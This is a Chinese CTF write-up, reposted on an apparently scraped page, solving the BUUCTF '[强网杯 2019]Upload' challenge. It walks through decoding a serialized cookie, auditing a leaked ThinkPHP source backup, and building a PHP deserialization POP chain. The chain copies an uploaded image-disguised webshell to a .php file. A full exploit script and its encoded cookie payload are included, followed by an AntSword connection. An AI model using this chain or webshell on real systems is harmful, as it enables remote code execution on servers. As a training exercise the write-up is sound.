当前位置: 首页 > news >正文

滚动照片制作网站软文100字左右案例

滚动照片制作网站,软文100字左右案例,做网站的用什么主机好,短视频app开发有哪些公司题目来源:buuctf [强网杯 2019]Upload 1 目录 一、打开靶机,查看信息 二、解题思路 step 1:登陆进去看情况 step 2:大佬来支援——问题在cookie step 3:测试两个思路 1.目录穿越 2.目录扫描 step 4&#xff…

题目来源:buuctf  [强网杯 2019]Upload 1

目录

一、打开靶机,查看信息

二、解题思路

step 1:登陆进去看情况

step 2:大佬来支援——问题在cookie

step 3:测试两个思路

1.目录穿越

2.目录扫描

step 4:代码审计

step 5:魔术方法利用copy

step 5:调用方法

step 6:得到上传路径

step 7:蚁剑连接

三、小结


一、打开靶机,查看信息

        根据题目可得是文件上传题目,但这里并没有上传文件的地方,先注册账号登陆进去看看情况。

二、解题思路

step 1:登陆进去看情况

        上传了个gif文件,发现变成了头像,查看源码发现文件名和后缀都被改了,

step 2:大佬来支援——问题在cookie

        确实没有头绪了,看了大佬的wp,发现cookie有新信息。

这里提示:下次可以抓包看新信息,抓包也可以发现这里的问题

        很像base x编码,但是少了点东西,base 64少了俩==,去试试,发现提示:只有302位,不是4的倍数,无法解码。这不巧了?加上俩==,刚好304位可以解码了,得到熟悉的东西:

a:5:{s:2:"ID";i:4;s:8:"username";s:1:"1";s:5:"email";s:10:"123@qq.com";s:8:"password";s:32:"202cb962ac59075b964b07152d234b70";s:3:"img";s:79:"../upload/5e6f2693d111128ec4f1d7336f65b87f/ab7a128e83ca216c120791232caaf9a9.png";}7

        是序列化数据。所以说cookie为注册信息序列化后的值,这里有两个思路:①根据序列化中传入的路径能否目录穿越;②扫描网站备份文件

step 3:测试两个思路

1.目录穿越

        没有什么思路,先pass掉

2.目录扫描

        扫描出一个www.tar.gz在网页根目录,下载下来看一下

        这样才能下载下来,发现是ThinkPHP5框架,看看其中内容

        既然是php文件,用phpstorm打开,主要功能在这四个文件上,要开始代码审计了

step 4:代码审计

        代码太多了,我们要找重点,比如刚才的登陆页面只有上传文件的cookie信息。

        整体功能:从用户的Cookie中获取用户信息,将其解码和反序列化,然后与数据库中的用户信息进行比较,以验证用户登陆是否有效。

        而且还会对cookie数据进行base64解码,然后进行反序列化,将其转换为原始的数据结构

        然后找找upload代码信息

        大佬说利用点在这里:copy。这个copy(source,dest)将文件从source拷贝到dest。成功时返回TRUE,失败时返回FALSE,所以这里的$this->filename_tmp和$thie->filename在可控的情况下,可以将上传的一句话的png格式文件拷贝成php后缀的文件,这样就可以运行一句话了。即

copy($this->filename_tmp,$this->filename); // 最终得到一个shell.php文件

        那么该怎么利用呢?

step 5:魔术方法利用copy

        这里要用到两个魔术方法:①__get();②__call()

__get():一个类里有私有变量,外界无法访问,可以用该魔术方法间接访问

示例:

__call():调用了一个类里没有的方法,那么就会自动调用该魔术方法,其中第一个参数表示不存在的方法名字,第二个参数接收传入的参数

示例:

在Profile.php是这样呈现的

        在__call方法中,需要将$this->{ $this->{$name}}中的蓝色部分的值为upload_img,就能调用upload_img方法,那怎么做到呢?

        (我想不出来(´。_。`),看看大佬们的wp吧,看懂了就算学会了)

step 5:调用方法

以下步骤摘自BUUCTF-WEB 【强网杯】 2019]Upload 1 | Fan的小酒馆

        在Register.php文件中。

Register中的__destruct方法调用了$this->checker->index();假设,我们把$this->checker改成Profile类,那这里的语句就能够触发Profile::__call方法。这样一条链条就形成了。

Register::__construct()->Register::__destruct()->Profile::__call()->Profile::__get()->Profile::__call()->Profile::upload_img()->copy()

Register::__construct()中将$this->checker指定为new Profile(),

Register::__destruct() 会调用Profile类中的index方法,发现找不到,会触发Profile::__call。

public function __get($name){echo $name;return $this->except[$name];}
public function __call($name, $arguments){if ($this->{$name}) {$this->{$this->{$name}}($arguments);}}

        触发Profile::__call,$name的值则为index,当执行到$this->{$name}发现找不到index这个属性,又会触发__get__get则会从$this->except数组中取键名为index的值返回。当我们把$this->except属性值设置为["index"=>"upload_img"],这样在执行$this->{$this->{$name}}($arguments);一句时,$this->{$name}不就是upload_img了吗。然后就会进入到upload_img方法中,接下来只需要修改一些属性值,就能执行到copy($this->filename_tmp,$this->filename);。这里怎么利用刚刚已经说过了。

(感叹一下这个思路,看懂了链式反应,但是看不进去。。。再努努力)

        下一步:先注册一个账号,上传一个图片格式后缀的一句话木马(加GIF89a),拿到上传路径。

step 6:得到上传路径

        没有得到跳转,所以去cookie信息里找到的

/upload/5e6f2693d111128ec4f1d7336f65b87f/39e37d1a8e648846d5afe11e7e9c3ee2.png

        上脚本进行序列化(脚本来源:[强网杯 2019]Upload | 北歌)

<?phpnamespace app\web\controller;
error_reporting(0);
class Profile
{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}}class Register
{public $checker;public $registed;public function __destruct(){if(!$this->registed){$this->checker->index();}}}$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "./upload/5e6f2693d111128ec4f1d7336f65b87f/39e37d1a8e648846d5afe11e7e9c3ee2.png";
$profile->filename = "./upload/5e6f2693d111128ec4f1d7336f65b87f/39e37d1a8e648846d5afe11e7e9c3ee2.php";$register = new Register();
$register->registed = false;
$register->checker = $profile;echo urlencode(base64_encode(serialize($register)));

TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjc4OiIuL3VwbG9hZC81ZTZmMjY5M2QxMTExMjhlYzRmMWQ3MzM2ZjY1Yjg3Zi8zOWUzN2QxYThlNjQ4ODQ2ZDVhZmUxMWU3ZTljM2VlMi5wbmciO3M6ODoiZmlsZW5hbWUiO3M6Nzg6Ii4vdXBsb2FkLzVlNmYyNjkzZDExMTEyOGVjNGYxZDczMzZmNjViODdmLzM5ZTM3ZDFhOGU2NDg4NDZkNWFmZTExZTdlOWMzZWUyLnBocCI7czoxMToidXBsb2FkX21lbnUiO047czozOiJleHQiO3M6MzoicG5nIjtzOjM6ImltZyI7czoxMDoidXBsb2FkX2ltZyI7czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czozOiJpbWciO319czo4OiJyZWdpc3RlZCI7YjowO30%3D

        然后将其放入cookie后,在根目录多刷新几次,发现再次访问这个文件夹就是php文件,并且成功解析一句话,可以上蚁剑了

step 7:蚁剑连接

        常规操作

URL:实例无法访问 / Instance can't be reached at that time | BUUCTF

成功找到flag

三、小结

1.这个题跨越两天,不知道为什么第一天蚁剑怎么都连不上,明明看到文件上传成功,也看到了/upload/界面上传路径,但是马始终显示不出来。无奈只能暂时放弃,结果第二天一次成功,有古怪。所以第一天做不出来可以先放放

2.查看页面信息,不要忘记cookie数据

3.数据信息解密也很重要

4.学习到两个魔术方法:__get()、__call()

5.代码审计逻辑要明白

​​​​​

http://www.15wanjia.com/news/13070.html

相关文章:

  • 成都网站建设 今网科技宁波企业seo外包
  • 施工企业资质认定2022seo排名点击手机
  • centos7 wordpress网站会计培训班一般多少钱
  • 薛城做网站营业推广是一种什么样的促销方式
  • 新乐网站建设快速排名官网
  • wordpress实现复制图片自动保存运营seo是什么意思
  • 外国网站欣赏重庆seo教程
  • 整站seo怎么做新开发的app怎么推广
  • 南通江苏网站建设网站搭建公司哪家好
  • wordpress 热门搜索众志seo
  • 东莞建设银行客服电话seo是什么的
  • 锋云科技网站建设友情链接有什么用
  • b2b网站建设排名营销策略有哪些理论
  • 企业网站建设哪家效果好114黄页
  • 织梦 图片网站源码郑州网络推广公司
  • 短信轰炸网站开发seo还有用吗
  • 投资公司网站建设需求网络营销电子版教材
  • 物流网站制作百度竞价推广自己可以做吗
  • 中国证券登记结算有限公司官网aso搜索优化
  • 企业铭做网站电商培训内容有哪些
  • 最好的模板网站百度站长平台注册
  • 做网络歌手的网站seo发包技术教程
  • 如何做响应式布局网站网站查询ip地址
  • 做印刷去哪个网站找工作seo最新优化技术
  • 24小时看b站视频的软件有哪些广州推广系统
  • 在哪里买空间做网站自己建个网站要多少钱
  • 广告推广的方式有哪些seo研究中心
  • 如何用office做网站电脑培训学校哪家好
  • 网站建设与管理需要什么软件seo技术优化服务
  • 长沙php网站建设怎么在百度做广告